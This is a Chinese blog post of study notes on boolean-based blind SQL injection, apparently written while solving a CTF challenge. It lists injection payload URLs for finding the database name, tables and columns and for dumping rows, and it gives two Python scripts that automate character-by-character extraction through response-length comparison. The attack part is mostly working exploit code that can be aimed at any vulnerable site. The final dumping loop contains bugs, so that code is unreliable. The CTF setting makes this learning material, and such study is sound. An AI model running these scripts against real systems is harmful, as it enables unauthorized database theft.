基于布尔的盲注学习笔记

exp利用到的ctf题: 简单的sql注入之3

步骤:
首先测试是否为布尔盲注:
http://localhost/index.php?id=2
http://localhost/index.php?id=2'
http://localhost/index.php?id=2''
http://localhost/index.php?id=2%23
http://localhost/index.php?id=2' and 1=1#

若为布尔盲注,则按照以下步骤进行:
一、得到数据库的长度
http://localhost/index.php?id=2' and length(database())>1%23
二、获取数据库名称
姿势: http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
python脚本自动获取:
import requests

def getDBName(DBName_len):
    DBName = ""
   
    success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"
    success_response_len = len(requests.get(success_url).text)
   
    url_template = "http://ctf5.shiyanbar.com/web/index_3.php?id=2' and ascii(substr(database(),{0},1))={1}%23"
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
   
    print("Start to retrieve database name...")
    print("Success_response_len is: ", success_response_len)
    for i in range( 1, DBName_len + 1):
        print("Number of letter: " , i)
        tempDBName = DBName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                print("DBName is: " + DBName + "...")
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended." )
            exit()
    print("Retrieve completed! DBName is: " + DBName)
   
getDBName(5) 


三、获取表长度
姿势: http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
四、获取表名
和第二步获得数据库名差不多,姿势稍微变了一下:
http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
五、获取字段的个数和长度
姿势: http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
其中limit 0,1表示第一列,limit 1,1为第二列,依次类推。
六、获取字段名称
姿势: http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23
七、脱裤
1.首先判断有该表有多少条记录:
http://localhost/index.php?id=2' and (select count(*) from flag)>0%23
2.然后获取当前记录的长度:
http://localhost/index.php?id=2' and (select length(flag) from flag limit 0,1)>0%23
3.获取当前记录的值:
http://localhost/index.php?id=2' and ascii(substr((select flag from flag limit 0,1), {0}, 1))={1}%23




自己写的脚本:
import requests
import binascii

MAX_DBName_len = 100
MAX_TableName_len = 100
MAX_ColumnName_len = 100
MAX_Data_len = 100
MAX_Table_Num = 100
MAX_Column_Num = 100
MAX_Data_Num = 100

success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"
success_response_len = len(requests.get(success_url).text)
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

def get_DBName_len():
    print("Start to get DBName_len...")
    DBName_len = 0
    url_template = success_url + "' and (length(database()))>{0}%23"
    for i in range(0, MAX_DBName_len):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            DBName_len = i;
            print("DBName_len is: ", DBName_len)
            break;
    if DBName_len == 0:
        if i == MAX_DBName_len - 1:
            print("DBName_len > MAX_DBName_len!")
        print("Cannot get DB_len. Program ended.")
        exit()
    return DBName_len

def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   
    for i in range(1, DBName_len + 1):
        print("Number of letter: ", i)
        tempDBName = DBName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                print("DBName is: " + DBName + "...")
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

def get_TableName_len(Table_num):
    print("Start to get TableName_len...")
    TableName_len = 0
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)>{1}%23"
    for i in range(0, MAX_TableName_len):
        url = url_template.format(Table_num - 1, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            TableName_len = i
#             print("TabelName_len is: ", TableName_len)
            break
    if TableName_len == 0:
        if i == MAX_TableName_len - 1:
            print("TableName_len > MAX_TableName_len!")
#         print("Cannot get TableName_len. Program ended.")
    return TableName_len

def get_TableName(Table_num, TableName_len):
    print("Start to get TableName...")
    TableName = ""
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"   
    for i in range(1, TableName_len + 1):
        print("Number of letter: ", i)
        tempTableName = TableName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(Table_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                TableName += char
                print("TableName is: " + TableName + "...")
                break           
        if tempTableName == TableName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! TableName is: " + TableName)
    return TableName

def choose_Table():
    Tables = []
    for Table_num in range(1, MAX_Table_Num):
        TableName_len = get_TableName_len(Table_num)
        if TableName_len == 0:
            break
        TableName = get_TableName(Table_num, TableName_len)
        Tables.append(TableName)
    for i in range(len(Tables)):
        print(i, ": " + Tables[i - 1])
    value = input('Please input number to choose which table you want to dump:')
    Table_num_chosen = int(value)
    print("You have chose table: " + Tables[Table_num_chosen - 1])
    return Tables[Table_num_chosen - 1]

def get_ColumnName_len(Column_num, TableName):
    print("Start to get ColumnName_len...")
    ColumnName_len = 0
    url_template = success_url + "' and (select length(column_name) from information_schema.columns where table_name = {0} limit {1},1)>{2}%23"
    for i in range(0, MAX_ColumnName_len):
        url = url_template.format(str2hex(TableName), Column_num - 1, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            ColumnName_len = i
            print("ColumnName_len is: ", ColumnName_len)
            break
    if ColumnName_len == 0:
        if i == MAX_ColumnName_len - 1:
            print("ColumnName_len > MAXName_Column_len!")
    return ColumnName_len

def get_ColumnName(Column_num, ColumnName_len, TableName):
    print("Start to get ColumnName...")
    ColumnName = ""
    url_template = success_url + "' and ascii(substr((select column_name from information_schema.columns where table_name = {0} limit {1},1),{2},1))={3}%23"   
    for i in range(1, ColumnName_len + 1):
        print("Number of letter: ", i)
        tempColumnName = ColumnName
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(str2hex(TableName), Column_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                ColumnName += char
                print("ColumnName is: " + ColumnName + "...")
                break           
        if tempColumnName == ColumnName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! ColumnName is: " + ColumnName)
    return ColumnName

def get_Columns(TableName):
    Columns = []
    for Column_num in range(1, MAX_Column_Num):
        ColumnName_len = get_ColumnName_len(Column_num, TableName)
        if ColumnName_len == 0:
            break
        ColumnName = get_ColumnName(Column_num, ColumnName_len, TableName)
        Columns.append(ColumnName)
    for i in range(len(Columns)):
        print(i, ": " + Columns[i - 1])
    return Columns

def get_Data_len(TableName, ColumnName, Data_num):
    print("Start to get Data_len...")
    Data_len = 0
    url_template = success_url + "' and (select length({0}) from {1} limit {2},1)>{3}%23"
    for i in range(0, MAX_Data_len):
        url = url_template.format(ColumnName, TableName, Data_num - 1, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            Data_len = i
            print("Data_len is: ", Data_len)
            break
    if Data_len == 0:
        if i == MAX_Data_len - 1:
            print("Data_len > MAX_Data_len!")
    return Data_len

def get_Data(TableName, ColumnName, Data_num, Data_len):
    print("Start to get Data...")
    Data = ""
    url_template = success_url + "' and ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}%23"   
    for i in range(1, Data_len + 1):
        print("Number of letter: ", i)
        tempData = Data
        for char in chars:
            print("Test letter " + char)
            char_ascii = ord(char)
            url = url_template.format(ColumnName, TableName, Data_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                Data += char
                print("Data is: " + Data + "...")
                break           
        if tempData == Data:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! Data is: " + Data)
    return Data

def get_Data_num(TableName):
    print("Start to get Data_num...")
    Data_num = 0
    url_template = success_url + "' and (select count(*) from {0})>{1}%23"
    for i in range(0, MAX_Data_Num):
        url = url_template.format(TableName, i)
        response = requests.get(url)
        if len(response.text) != success_response_len:
            Data_num = i
            print("Data_num is: ", Data_num)
            break
    if Data_num == 0:
        if i == MAX_Data_Num - 1:
            print("Data_num > MAX_Data_Num!")
        print("Cannot get Data_len.")
    return Data_num

def str2hex(str):
    result = "0x"
    str_byte = str.encode()
    result = result + binascii.b2a_hex(str_byte).decode()
    return result

DBName_len = get_DBName_len()
DBName = get_DBName(DBName_len)

TableName = choose_Table()
Columns = get_Columns(TableName)
Data_num = get_Data_num(TableName)

Datas = []
for i in range(len(Columns)):
    ColumnName = Columns[i]
    for j in range(Data_num):
        Data_len = get_Data_len(TableName, ColumnName, Data_num)
        Data = get_Data(TableName, ColumnName, Data_num, Data_len)
        Datas[j] += "\t" + Data

print("***************************")
print("Database: " + DBName + "Table: " + TableName)
print("***************************")
print("\t")
for i in range(len(Columns)):
    print(Columns[i], end="\t")
for i in range(Data_num):
    print(Datas[i])
print("Program successfully ended!")
print("***************************")
# #the first table
# Table_num = 1
# TableName_len = get_TableName_len(Table_num)
# TableName = get_TableName(Table_num, TableName_len)
#
# #the first column
# Column_num = 1
# ColumnName_len = get_ColumnName_len(Column_num, TableName)
# ColumnName = get_ColumnName(Column_num, ColumnName_len)
# 
# #the first record
# Data_num = 1
# Data_len = get_Data_len(TableName, ColumnName, Data_num)
# Data = get_Data(TableName, ColumnName, Data_num, Data_len)
#
# print("***************************")
# print("Database: " + DBName)
# print("Table: " + TableName)
# print("Column: " + ColumnName)
# print("Data: " + Data)
# print("Program successfully ended!")
# print("***************************")


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于布尔盲注是一种常见的SQL注入攻击技术,可以通过构造特定的SQL查询语句来获取数据库中的敏感信息。在这种攻击中,攻击者通过向受攻击的应用程序中输入恶意的SQL代码来触发漏洞。 在基于布尔盲注中,攻击者利用应用程序返回的不同响应来判断SQL查询结果是否为真或假。攻击者可以通过构造一系列的布尔查询来逐渐推断出数据库中的敏感信息。例如,攻击者可以通过构造以下查询语句来判断数据库中是否存在用户名为“admin”的记录: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND 1=1 ``` 如果应用程序返回的响应为真,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password = 'password' AND 1=1 ``` 如果应用程序返回的响应为假,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password <> 'password' AND 1=1 ``` 通过不断尝试构造不同的查询语句,并观察应用程序的响应,攻击者可以最终推断出数据库中的敏感信息。 为了防止基于布尔盲注攻击,应用程序应该对用户输入进行充分的验证和过滤,并使用参数化的SQL查询语句来避免SQL注入攻击。此外,应用程序还应该限制数据库用户的权限,以最小化攻击者获取敏感信息的可能性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值